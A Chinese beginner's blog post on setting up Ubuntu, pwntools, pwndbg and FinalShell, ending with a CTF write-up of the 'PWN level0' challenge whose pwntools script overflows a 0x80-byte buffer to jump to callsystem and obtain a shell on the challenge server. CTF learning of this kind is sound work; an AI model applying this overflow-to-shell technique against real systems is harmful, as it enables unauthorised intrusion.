Ubuntu安装+pwntools+pwndbg+xshell

·
今天安装了Ubuntu、vmtools、pwntools和pwndbg
前两个的安装没什么困难,之前装过虚拟机,操作都差不多。


在命令行输入:
$ sudo apt-get install python-pip python-dev build-essential

$ sudo pip install –upgrade pip

$ sudo pip install –upgrade virtualenv

Ubuntu安装+pwntools+pwndbg+xshell_第1张图片
我这是安装好的
检验是否安装好的操作
Ubuntu安装+pwntools+pwndbg+xshell_第2张图片
输入python进入其交互模式,检查是否能够正常使用pwntools

输入import pwn回车后没报错
这时候再尝试pwntools的asm功能
输入pwn.asm(“xor eax,eax”)
输出‘1\xc0’
如果有正确输出,即说明这个功能是可以用的,到这里就算安装完成


学习ctf必备的工具
pwndbg是GitHub上的一个项目,用于GDB的辅助增强。
pwndbg的安装

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo #./setup.sh

三个命令下来基本上都是可以成功的,有的需要更新一下pip的版本
这个问题的解决办法还是从老外那儿找到的
关于这个问题的回答
在这里插入图片描述

apt-get remove python-pip python3-pip
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
python3 get-pip.py

还注明了python版本不对的话可以更换
亲测可用。先执行这个,再去安装dbg

真正安装好以后,在终端中输入gdb会看到pwndbg>
Ubuntu安装+pwntools+pwndbg+xshell_第3张图片

下面来装finalshell, xshell是一个强大的安全终端模拟软件,而finalshell比它更强大

1.多平台支持Windows,Mac OS X,Linux
2.多标签,批量服务器管理.
3.支持登录Ssh和Windows远程桌面.
4.漂亮的平滑字体显示,内置100多个配色方案.
5.shell,sftp同屏显示,同步切换目录.
6.命令自动提示,智能匹配,输入更快捷,方便.
7.sftp支持,通过各种优化技术,加载更快,切换,打开目录无需等待.
8.服务器网络,性能实时监控,无需安装服务器插件.
9.内置海外服务器加速,加速远程桌面和ssh连接,操作流畅无卡顿.
10.双边加速功能,大幅度提高访问服务器速度.
11.内存,Cpu性能监控,Ping延迟丢包,Trace路由监控.
12.实时硬盘监控.
13.进程管理器.
14.快捷命令面板,可同时显示数十个命令.
15.内置文本编辑器,支持语法高亮,代码折叠,搜索,替换.
16.ssh和远程桌面均支持代理服务器.
17.打包传输,自动压缩解压.
18.免费内网穿透,无需设置路由器,无需公网ip.

安装步骤很简单。
我们可以去连接自己的虚拟机
Ubuntu安装+pwntools+pwndbg+xshell_第4张图片
添加后发现端口未开启,搜了一下需要在虚拟机中开启超级管理员命令

超级管理员安装命令

apt-get install openssh-server   

Ubuntu安装+pwntools+pwndbg+xshell_第5张图片

Ubuntu安装+pwntools+pwndbg+xshell_第6张图片
这样以后就能在finalshell中操控虚拟机(前提是虚拟机打开)
Ubuntu安装+pwntools+pwndbg+xshell_第7张图片
可以看出能能够在这个里面去展示虚拟机中的内容

PWN level0

一个PWN题要先拉进Utunbu中检查一下(后来才知道)
Ubuntu安装+pwntools+pwndbg+xshell_第8张图片
然后会看出来是64位的,那就放到64位的IDA中查看。
放入IDA中
查看主函数
Ubuntu安装+pwntools+pwndbg+xshell_第9张图片
进入里面的函数
Ubuntu安装+pwntools+pwndbg+xshell_第10张图片

程序显示buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。
找到溢出点,同过buf缓冲区。又找到函数callsystem()。
在这里插入图片描述

控制程序返回到callsystem地址即可。找到callsystem地址。
Ubuntu安装+pwntools+pwndbg+xshell_第11张图片

脚本

from pwn import *  #导入pwntools中pwn包的所有内容
s_addr=0x0000000000400596
p=remote("pwn2.jarvisoj.com",9881)# 链接服务器远程交互,等同于nc ip 端口 命令from pwn import *
p.recvline()#接收输出
p.sendline("A"*0x80+'A'*8+p64(s_addr))# 发送payload
p.interactive()# 反弹shell进行交互

运行脚本
Ubuntu安装+pwntools+pwndbg+xshell_第12张图片

你可能感兴趣的:(pwn)